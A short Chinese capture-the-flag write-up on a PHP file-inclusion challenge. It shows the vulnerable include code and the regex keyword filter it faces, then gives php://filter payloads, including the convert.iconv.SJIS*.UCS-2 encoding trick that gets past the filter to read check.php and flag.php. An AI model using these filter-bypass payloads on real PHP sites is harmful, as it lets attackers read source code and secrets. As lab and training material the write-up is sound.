文件包含之 php://filter的convert.iconv.* 绕过
2020_11_11
绕过方式
convert.iconv.* //格式如下
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>
编码方式见:https://www.php.net/manual/en/mbstring.supported-encodings.php
filename=php://filter/convert.iconv.SJIS*.UCS-2/resource=flag.php
题目示例
打开是一串php代码
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
易知考我们文件包含
不写太多直奔主题
运用php伪代码读取包含的文件
1.直接读取被过滤
2.试试base64绕过
?filename=php://filter/convert.base64-encode/resource=check.php
后面加上面的读取check.php的,发现被过滤
如果没有 base 和 encode 就不会被过滤
?filename=php://filter/convert.bas1e64-en1code/resource=check.php
3.convert.iconv.* 绕过
这时运用上面的绕过方法
?filename=php://filter/convert.iconv.SJIS*.UCS-2/resource=check.php
有很多的编码方式,可以都试试看哪个没被绕过
成功绕过,发现check.php为过滤格式,没有flag
<?php if($_GET["filename"]){
$preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';
if (eval($preg_match_username)) {
die("do not hack!");
}
}
读取flag.php
别问为什么是flag.php,问就是猜的
参考资料
wp:
https://blog.csdn.net/yuanxu8877/article/details/127607264
https://blog.csdn.net/shelter1234567/article/details/127393549
编码方式:
https://www.php.net/manual/en/mbstring.supported-encodings.php
参考绕过思路:
https://blog.csdn.net/woshilnp/article/details/117266628